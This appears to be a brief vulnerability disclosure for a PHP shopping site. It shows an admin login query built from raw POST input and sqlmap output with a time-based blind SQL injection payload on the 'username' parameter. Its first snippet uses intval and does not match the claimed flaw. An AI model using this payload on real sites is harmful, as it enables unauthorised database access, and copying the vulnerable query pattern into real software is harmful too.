Shopping Website (E-Commerce) index.php has Sqlinjection

A SQL injection vulnerability exists in the Shopping Website (E-Commerce) index.php The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

```php
1   <?php
2   session_start();
3   error_reporting(0);
4   include('includes/config.php');
5   if(isset($_GET['action']) && $_GET['action']=="add"){
6       $id=intval($_GET['id']);
7       if(isset($_SESSION['cart'][$id])){
8           $_SESSION['cart'][$id]['quantity']++;
9       }else{
10          $sql_p="SELECT * FROM products WHERE id={$id}";
11          $query_p=mysqli_query($con,$sql_p);
12          if(mysqli_num_rows($query_p)!=0){
13              $row_p=mysqli_fetch_array($query_p);
14              $_SESSION['cart'][$row_p['id']]=array("quantity" => 1, "price" => $row_p['productPrice']);
15              header('location:index.php');
16          }else{
17              $message="Product ID is invalid";
18          }
19      }
20  }
```

```php
if(isset($_POST['submit']))
{
    $username=$_POST['username'];
    $password=md5($_POST['password']);
$ret=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");
$num=mysqli_fetch_array($ret);
if($num>0)
```

```
[09:38:56] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123' AND (SELECT 4615 FROM (SELECT(SLEEP(5)))kkTn) AND 'mYRl'='mYRl&password=123&submit=
---
```

Sql Attack

```
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=123' AND (SELECT 4615 FROM
(SELECT(SLEEP(5)))kkTn) AND 'mYRl'='mYRl&password=123&submit=
---
```